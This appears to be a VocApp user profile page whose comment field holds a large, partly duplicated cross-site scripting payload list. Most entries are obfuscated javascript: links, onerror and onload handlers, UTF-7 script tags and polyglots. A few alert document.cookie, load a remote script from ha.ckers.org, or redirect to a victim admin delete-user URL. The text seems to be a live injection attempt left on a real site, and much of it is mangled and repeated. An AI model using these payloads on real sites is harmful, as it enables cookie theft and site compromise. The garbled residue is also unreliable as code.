＃人喜欢这个。 Polub！
admin
我从那以后一直在使用VocApp5302天。 我和VocApp一起学习3天，包括系统地来自0天。 我是作家3集。 你最后一次见到我2018-08-24 16:30:50。
我创建的词汇卡
Egzamin na prawo jazdy -- informacje ogólne
Kilka skrótów photoshopa, które każdy grafik musi znać
Headway Unit 4 słówka
编辑点评：
LOL WTF!
$WAG =[==============>
test
test
<img src="x" alt="x" />
<img src="x" alt="x" />
'`"><\x3Cscript>javascript:alert(1)
'`"><\x00script>javascript:alert(1)
<img src="1" alt="1" />
\x3Cscript>javascript:alert(1)
'"`>
-->
--> -->
-->
-->
`"'><img src="#%5Cx27%20onerror=javascript:alert(1)" alt="html>" />
<a href="javascript%5Cx3Ajavascript%3Aalert(1)">test</a>
"'`><p></p>
<a href="javas%5Cx00cript%3Ajavascript%3Aalert(1)">test</a>
<a href="javas%5Cx07cript%3Ajavascript%3Aalert(1)">test</a>
<a href="javas%5Cx0Dcript%3Ajavascript%3Aalert(1)">test</a>
<a href="javas%5Cx0Acript%3Ajavascript%3Aalert(1)">test</a>
<a href="javas%5Cx02cript%3Ajavascript%3Aalert(1)">test</a>
<a href="javas%5Cx08cript%3Ajavascript%3Aalert(1)">test</a>
<a href="javas%5Cx03cript%3Ajavascript%3Aalert(1)">test</a>
<a href="javas%5Cx04cript%3Ajavascript%3Aalert(1)">test</a>
<a href="javas%5Cx0Bcript%3Ajavascript%3Aalert(1)">test</a>
<a href="javas%5Cx01cript%3Ajavascript%3Aalert(1)">test</a>
<a href="javas%5Cx05cript%3Ajavascript%3Aalert(1)">test</a>
<a href="javas%5Cx09cript%3Ajavascript%3Aalert(1)">test</a>
<a href="javas%5Cx06cript%3Ajavascript%3Aalert(1)">test</a>
<a href="javas%5Cx0Ccript%3Ajavascript%3Aalert(1)">test</a>
"'`><\x3Cimg src=xxx:x onerror=javascript:alert(1)>
'`"><\x3Cscript>javascript:alert(1)
'`"><\x00script>javascript:alert(1)
"'`><\x00img src=xxx:x onerror=javascript:alert(1)>
ABC<div>DEF</div>
"'`>ABC<div>DEF </div>
ABC<div>DEF</div>
ABC<div>DEF</div>
"'`>ABC<div>DEF </div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
<a href="%5Cx0Bjavascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx05javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx0Fjavascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxC2%5CxA0javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE1%5CxA0%5Cx8Ejavascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx18javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx11javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE2%5Cx80%5Cx88javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE2%5Cx80%5Cx89javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE2%5Cx80%5Cx80javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx17javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx0Ejavascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx1Ajavascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx03javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx00javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE2%5Cx80%5Cx82javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx20javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx10javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx13javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx09javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE2%5Cx80%5Cx8Ajavascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx14javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE2%5Cx80%5CxAFjavascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx19javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx1Fjavascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE2%5Cx80%5Cx81javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx1Djavascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE2%5Cx80%5Cx87javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx08javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx01javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx07javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE2%5Cx80%5Cx83javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE1%5Cx9A%5Cx80javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx04javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE2%5Cx80%5Cx86javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE2%5Cx80%5Cx84javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE3%5Cx80%5Cx80javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx12javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx0Djavascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx0Ajavascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx0Cjavascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE2%5Cx80%5CxA8javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx15javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx02javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx16javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx1Bjavascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx1Cjavascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE2%5Cx80%5Cx85javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="javascript%5Cx00%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE2%5Cx80%5CxA9javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE2%5Cx81%5Cx9Fjavascript%3Ajavascript%3Aalert(1)">test</a>
<a href="javascript%5Cx3A%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx06javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx1Ejavascript%3Ajavascript%3Aalert(1)">test</a>
<a href="javascript%5Cx09%3Ajavascript%3Aalert(1)">test</a>
<a href="javascript%5Cx0D%3Ajavascript%3Aalert(1)">test</a>
<a href="javascript%5Cx0A%3Ajavascript%3Aalert(1)">test</a>
`"'>
`"'>
`"'>
`"'>
`"'>
`"'>
`"'>
`"'>
`"'>
`"'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"/>
"/>
"/>
"/>
"/>
"/>
"/>
"/>
"/>
`"'>
`"'>
`"'>
`"'>
`"'>
`"'>
<img src="#" alt="#" />
`"'>
<br /><br /><br /><br /><br /><br />...<br /><br /><br /><br /><br /><br /><br /><br /><br /><br />...<br /><br /><br /><br /><br /><br /><br /><br /><br /><br />...<br /><br /><br /><br /><br /><br /><br /><br /><br /><br />...<br /><br /><br /><br /><br /><br /><br /><br /><br /><br />...<br /><br /><br /><br />
X
X
CLICKME CLICKME
<img src="x" alt="x" />
<img src="" alt="comment><img src=x onerror=javascript:alert(1))" />
<img src="%5D" alt="]><img src=x onerror=javascript:alert(1)" />
<img src="x" alt="x" />
<div>);visibility:hidden onload=javascript:alert(1)></div>
<a href="/.%20/,javascript:alert(1)//#">XXX</a>
<b>alert(1)0</b>
<div></div> <div></div>
foo=">">
<? foo=">">
">
<? foo=">">
<% foo>
<div style="width:1px;">x</div>
<div></div>
<img src="" alt="" />
<img src="" alt="" />
<img src="" alt="" />
<img src="" alt="" />
<img src="" alt="" />
<img src="" alt="" />
<img src="" alt="" />
<img src="" alt="" />
<img src="x%5Cx09onerror=" alt="x\x09onerror="javascript:alert(1)"" />
<img src="x%5Cx10onerror=" alt="x\x10onerror="javascript:alert(1)"" />
<img src="x%5Cx12onerror=" alt="x\x12onerror="javascript:alert(1)"" />
<img src="x%5Cx11onerror=" alt="x\x11onerror="javascript:alert(1)"" />
<img src="x%5Cx13onerror=" alt="x\x13onerror="javascript:alert(1)"" />
<img src="x" alt="x" />
<img src="x" alt="x" />
<img src="x" alt="x" />
<img src="x" alt="x" />
<img src="x" alt="x" />
<img src="x" alt="x" />
<a href="java"></a>
<img src="x%60%20%60" alt="script>" />
<img src="" alt="javascript:alert(1)//"" />
<a href="http://foo.bar/#x=%60y"></a>
<a>X</a>
<a></a><a>XXX</a><a>XXX</a>
X
<div></div>
<div>XXX</div>
/ style=x:expression\28javascript:alert(1)\29>
<div></div>
<div style="list-style:url("");">X</div>
<div><div>X</div></div>
<div></div>
<div>X</div>
<div>XXX</div>
scriptjavascript:alert(1)/script
X
1
1
1<a href="#"></a>
<a>XXX</a>
<a></a>
<div>x</div>
<img src="%60javascript%3Ajavascript%3Aalert(1)%60" alt="`javascript:javascript:alert(1)` " />
<img src="jav%20ascript%3Ajavascript%3Aalert(1);" alt="jav ascript:javascript:alert(1);" />
<
<br />
<ul><li>XSS</li></ul>
<div></div>
<div></div>
<a class="XSS"></a>
<?import namespace="xss" implementation="%(htc)s">XSS""","XML namespace."),("""<i><b></b></i>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2">
X
ADw-SCRIPT AD4-%(payload)s; ADw-/SCRIPT AD4-
<br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br />
<p></p>
<?xml version="1.0"?>
]]
<img src="" alt="div" />
<a href="jav"></a>
<a href="jav"></a>
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
>">'>
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
'';!--"=
<img src="%60javascript%3Aalert(" alt="`javascript:alert("RSnake" />
<a>xxs link</a>
<a>xxs link</a>
">
<img src="#" alt="#" />
<img src="" alt="div" />
<img src="" alt="div" />
<img src="onmouseover=" alt="onmouseover="alert('xxs')"" />
<img src="" alt="div" />
<img src="jav%20ascript%3Aalert('XSS');" alt="jav ascript:alert('XSS');" />
<img src="jav" alt="html>" />
<img src="jav" alt="html>" />
<img src="jav" alt="html>" />
perl -e 'print "<img src="java%5C0script%3Aalert(%5C" alt="java\0script:alert(\"XSS\")" />";' > out
<img src="" alt="html>" />
<
\";alert('XSS');//
<ul><li>XSS</li></ul>
xss">
<br />
exp/*<a></a>
<a class="XSS"></a>
scriptalert(XSS)/script
<div></div>
<div></div>
<div></div>
<div></div>
<? echo('alert("XSS")'); ?>
<img src="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode" alt="somecommand.php?somevariables=maliciouscode" />
Redirect 302 /a.jpg http://victimsite.com/admin.asp
ADw-SCRIPT AD4-alert('XSS'); ADw-/SCRIPT AD4-
PT SRC="http://ha.ckers.org/xss.js">
<a href="http://66.102.7.147/">XSS</a>
<a href="http://www.google.com">XSS</a>
<a href="http://1113982867/">XSS</a>
<a href="http://0x42.0x0000066.0x7.0x93/">XSS</a>
<a href="http://0102.0146.0007.00000223/">XSS</a>
<a href="htt%20p%3A//6%206.000146.0x7.147/">XSS</a>
<img src="%60%60" alt="div" />
/**/alert(1)/**/
<a></a>
<a></a>
http://www.google
<a></a>
/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/
<a></a>
//style///><span></span>
<div>X</div> {IE7}
//
/*iframe/src*/
//|\\
/
|\>
<a></a>
''
<a href="javascript"></a>
<div></div>
<a href="jAvAsCrIpT"></a>
<var>On Mouse Over</var>
<a href="javascript"></a>
<img src="/" title="onerror='prompt(1)'" alt="" />
<%
X
http://www.
<img src="%60xx%3Axx%60onerror=alert(1)" alt="`xx:xx`onerror=alert(1) " />
<a>click</a>
<a></a>
<img src="" alt="" />
<a href="j"></a>
<div> style="x:"></div>
<--` --!>
<div style="width:100%;height:100%;">x</div>
"><img src="x" alt="x" />
<a>click</a>
<a></a>
<img src="x" alt="x" />
'`"><\x00script>javascript:alert(1)
'`"><\x3Cscript>javascript:alert(1)
<img src="1" alt="1" />
\x3Cscript>javascript:alert(1)
'"`>
--> -->
-->
-->
-->
`"'><img src="#%5Cx27%20onerror=javascript:alert(1)" alt="html>" />
<a href="javascript%5Cx3Ajavascript%3Aalert(1)">test</a>
"'`><p></p>
<a href="javas%5Cx00cript%3Ajavascript%3Aalert(1)">test</a>
<a href="javas%5Cx07cript%3Ajavascript%3Aalert(1)">test</a>
<a href="javas%5Cx0Dcript%3Ajavascript%3Aalert(1)">test</a>
<a href="javas%5Cx0Acript%3Ajavascript%3Aalert(1)">test</a>
<a href="javas%5Cx08cript%3Ajavascript%3Aalert(1)">test</a>
<a href="javas%5Cx02cript%3Ajavascript%3Aalert(1)">test</a>
<a href="javas%5Cx03cript%3Ajavascript%3Aalert(1)">test</a>
<a href="javas%5Cx04cript%3Ajavascript%3Aalert(1)">test</a>
<a href="javas%5Cx01cript%3Ajavascript%3Aalert(1)">test</a>
<a href="javas%5Cx05cript%3Ajavascript%3Aalert(1)">test</a>
<a href="javas%5Cx0Bcript%3Ajavascript%3Aalert(1)">test</a>
<a href="javas%5Cx09cript%3Ajavascript%3Aalert(1)">test</a>
<a href="javas%5Cx06cript%3Ajavascript%3Aalert(1)">test</a>
<a href="javas%5Cx0Ccript%3Ajavascript%3Aalert(1)">test</a>
"'`>ABC<div>DEF </div>
"'`>ABC<div>DEF </div>
'`"><\x3Cscript>javascript:alert(1)
'`"><\x00script>javascript:alert(1)
"'`><\x3Cimg src=xxx:x onerror=javascript:alert(1)>
"'`><\x00img src=xxx:x onerror=javascript:alert(1)>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
ABC<div>DEF</div>
<a href="%5Cx0Bjavascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx0Fjavascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxC2%5CxA0javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx05javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE1%5CxA0%5Cx8Ejavascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx18javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx11javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE2%5Cx80%5Cx88javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE2%5Cx80%5Cx89javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE2%5Cx80%5Cx80javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx17javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx03javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx0Ejavascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx1Ajavascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx00javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx10javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE2%5Cx80%5Cx82javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx20javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx13javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx09javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE2%5Cx80%5Cx8Ajavascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx14javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx19javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE2%5Cx80%5CxAFjavascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx1Fjavascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE2%5Cx80%5Cx81javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx1Djavascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE2%5Cx80%5Cx87javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx07javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE1%5Cx9A%5Cx80javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE2%5Cx80%5Cx83javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx04javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx01javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx08javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE2%5Cx80%5Cx84javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE2%5Cx80%5Cx86javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE3%5Cx80%5Cx80javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx12javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx0Djavascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx0Ajavascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx0Cjavascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx15javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE2%5Cx80%5CxA8javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx16javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx02javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx1Bjavascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx06javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE2%5Cx80%5CxA9javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE2%5Cx80%5Cx85javascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx1Ejavascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5CxE2%5Cx81%5Cx9Fjavascript%3Ajavascript%3Aalert(1)">test</a>
<a href="%5Cx1Cjavascript%3Ajavascript%3Aalert(1)">test</a>
<a href="javascript%5Cx00%3Ajavascript%3Aalert(1)">test</a>
<a href="javascript%5Cx3A%3Ajavascript%3Aalert(1)">test</a>
<a href="javascript%5Cx09%3Ajavascript%3Aalert(1)">test</a>
<a href="javascript%5Cx0D%3Ajavascript%3Aalert(1)">test</a>
<a href="javascript%5Cx0A%3Ajavascript%3Aalert(1)">test</a>
`"'>
`"'>
`"'>
`"'>
`"'>
`"'>
`"'>
`"'>
`"'>
`"'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"`'>
"/>
"/>
"/>
"/>
"/>
"/>
"/>
"/>
"/>
`"'>
`"'>
`"'>
`"'>
`"'>
`"'>
`"'>
<img src="#" alt="#" />
<br /><br /><br /><br /><br /><br />...<br /><br /><br /><br /><br /><br /><br /><br /><br /><br />...<br /><br /><br /><br /><br /><br /><br /><br /><br /><br />...<br /><br /><br /><br /><br /><br /><br /><br /><br /><br />...<br /><br /><br /><br /><br /><br /><br /><br /><br /><br />...<br /><br /><br /><br />
X
X
CLICKME CLICKME
<img src="x" alt="x" />
<img src="" alt="comment><img src=x onerror=javascript:alert(1))" />
<img src="%5D" alt="]><img src=x onerror=javascript:alert(1)" />
<img src="x" alt="x" />
<div></div>
<a href="/.%20/,javascript:alert(1)//#">XXX</a>
<b>alert(1)0</b>
<div></div> <div></div>
<div style="width:1px;">x</div>
<? foo=">">
">
foo=">">
<? foo=">">
<% foo>
<div></div>
<img src="" alt="" />
<img src="" alt="" />
<img src="" alt="" />
<img src="" alt="" />
<img src="" alt="" />
<img src="" alt="" />
<img src="" alt="" />
<img src="" alt="" />
<img src="x%5Cx09onerror=" alt="x\x09onerror="javascript:alert(1)"" />
<img src="x%5Cx10onerror=" alt="x\x10onerror="javascript:alert(1)"" />
<img src="x%5Cx11onerror=" alt="x\x11onerror="javascript:alert(1)"" />
<img src="x%5Cx12onerror=" alt="x\x12onerror="javascript:alert(1)"" />
<img src="x%5Cx13onerror=" alt="x\x13onerror="javascript:alert(1)"" />
<img src="x" alt="x" />
<img src="x" alt="x" />
<img src="x" alt="x" />
<img src="x" alt="x" />
<img src="x" alt="x" />
<img src="x" alt="x" />
<a href="java">XXX</a>
<img src="x%60%20%60" alt="script>" />
<img src="" alt="javascript:alert(1)//"" />
<a href="http://foo.bar/#x=%60y"></a>
<a>X</a>
<a></a><a>XXX</a><a>XXX</a>
X
<div>XXX</div>
<div>XXX</div>
/ style=x:expression\28javascript:alert(1)\29>
<div></div>
<div style="list-style:url("");">X</div>
<div><div>X</div></div>
<div>X</div>
<div>X</div>
<div>XXX</div>
XXX
&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi
&
scriptjavascript:alert(1)/script
X
1
1
1<a href="#"></a>
<a>XXX</a>
<a></a>
<div>x</div>
<img src="%60javascript%3Ajavascript%3Aalert(1)%60" alt="`javascript:javascript:alert(1)` " />
<img src="jav%20ascript%3Ajavascript%3Aalert(1);" alt="jav ascript:javascript:alert(1);" />
<
<br />
<ul><li>XSS</li></ul>
<div></div>
<div></div>
<a class="XSS"></a>
<?import namespace="xss" implementation="%(htc)s">XSS""","XML namespace."),("""<i><b><IMG SRC="javascript:javascript:alert(1)"></b></i><span></span>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2">
+ADw-SCRIPT+AD4-%(payload)s;+ADw-/SCRIPT+AD4-
X
<br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br />
<p></p>
&&
<?xml version="1.0"?>
]]
<img src="&%7Bjavascript%3Aalert(1);%7D;" alt="&{javascript:alert(1);};" />
<a>test1</a>
<a>test1</a>
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
>">'>
'';!--"=&{()}
<img src="%60javascript%3Aalert(" alt="`javascript:alert("RSnake" />
<a>xxs link</a>
<a>xxs link</a>
">
<img src="#" alt="#" />
<img src="onmouseover=" alt="onmouseover="alert('xxs')"" />
<img src="jav%20ascript%3Aalert('XSS');" alt="jav ascript:alert('XSS');" />
<img src="jav%20ascript%3Aalert('XSS');" alt="jav ascript:alert('XSS');" />
<img src="jav%20ascript%3Aalert('XSS');" alt="jav ascript:alert('XSS');" />
<img src="jav%20ascript%3Aalert('XSS');" alt="jav ascript:alert('XSS');" />
perl -e 'print "<img src="java%5C0script%3Aalert(%5C" alt="java\0script:alert(\"XSS\")" />";' > out
<img src="" alt="" />
<
\";alert('XSS');//
<ul><li>XSS</li></ul>
xss">
<br />
exp/*<a></a>
<a class="XSS"></a>
scriptalert(XSS)/script
<div></div>
<div></div>
<div></div>
<div></div>
<? echo('alert("XSS")'); ?>
<img src="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode" alt="somecommand.php?somevariables=maliciouscode" />
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
PT SRC="http://ha.ckers.org/xss.js">
<a href="http://66.102.7.147/">XSS</a>
<a href="http://www.google.com">XSS</a>
<a href="http://1113982867/">XSS</a>
<a href="http://0x42.0x0000066.0x7.0x93/">XSS</a>
<a href="http://0102.0146.0007.00000223/">XSS</a>
<a href="htt%20p%3A//6%206.000146.0x7.147/">XSS</a>
<img src="%60%00%60&NewLine;" alt="`%00`&NewLine; " />
/*%00*/alert(1)/*%00*/
"><h1>%00</h1>
">
<a>X</a>
<img src="%60~%60" alt="`~` " />
<a>X</a>
http://www.google
<a>XYZ</a>
/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/
<a>X</a>
//style///><span>SPAN</span>
">
OnMouseOver {Firefox & Opera}
^__^
<div>X</div> {IE7}
////
/*iframe/src*/
//|\\
/
<a></a>
|\>
''
<a href="javascript&colon;%5Cu0061lert&lpar;1&rpar;"></a>
<div>DIV</div>
<a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a>
<var>On Mouse Over</var>
<a href="javascript&colon;alert&lpar;document&period;cookie&rpar;">Click Here</a>
<img src="/" title="onerror='prompt(1)'" alt="" />
<%
X
http://www.
<img src="%60xx%3Axx%60onerror=alert(1)" alt="`xx:xx`onerror=alert(1) " />
<a>click</a>
<a>X</a>
<img src="" alt="" />
<a>ClickMe</a>
<div> style="x:"></div>
<--` --!>
<div style="width:100%;height:100%;">x</div>
"><img src="x" alt="x" />
CLICKME
<a>click</a>
<a>Click Me</a>
">
<img src="x" alt="x" />
<img src="x" alt="x" />
ipt>alert('XSS')ipt>
">
"><img src="x" alt="x" />
<img src="x" alt="x" />
<img src="x" alt="x" />
"><img src="x" alt="x" />
">
">
data:text/html,
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//\x3csVg/\x3e
">><img src="x" alt="x" />" >|\>@gmail.com'-->" >">'"><img src="%20//i.imgur.com/P8mL8.jpg" alt="P8mL8.jpg" />
" onclick=alert(1)// */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- >">'>
javascript://'/--><p>*/alert()/*</p>
javascript://-->"/*/a
javascript://"/*//
javascript://--><a>*/alert()/*</a>
javascript://'//" --><b>*/alert()/*</b>
javascript://
javascript:alert()//--><a>*/alert()/*</a>
-->"/<a>*/alert()/*</a>
/<p>*/alert()/*</p>
javascript://-->
/<p>*/alert()/*</p>
<img src="1" alt="1" />
">
"onmouseover=alert(1)//
"autofocus/onfocus=alert(1)//
'-alert(1)-'
'-alert(1)//
\'-alert(1)//
lose focus!
click this!
copy this!
right click this!
cut this!
double click this!
drag this!
focus this!
input here!
press any key!
press any key!
press any key!
click this!
hover this!
hover this!
hover this!
click this!
paste here!
%3Cx onxxx=alert(1)
<%78 onxxx=1
" onxxx=1
'onload=alert(1)>
'>alert(1)
*/alert(1)
*/alert(1)">'onload="/*
`-alert(1)">'onload="`
*/'>alert(1)/*
<a>click</a>
click
click
click
<a></a>
"><img src="1" alt="1" />.gif
GIF89a/**/=alert(document.domain)//;
">
">
">
<a href="#x">click this!#x</a>
#x
<br /><br /><br /><br />
press F12!
press F1! (MSIE)
12
<img src="1" alt="1" />
<img src="1" alt="al" lang="ert" xml:lang="ert" />
<
<
">
<img src="x" alt="x" />
">
<img src="x" alt="x" />
ipt>alert('XSS')ipt>
<img src="x" alt="x" />
"><img src="x" alt="x" />
<img src="x" alt="x" />
"><img src="x" alt="x" />
">
">
data:text/html,
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//\x3csVg/\x3e
">><img src="x" alt="x" />" >|\>@gmail.com'-->" >">'"><img src="%20//i.imgur.com/P8mL8.jpg" alt="P8mL8.jpg" />
" onclick=alert(1)// */ alert(1)//
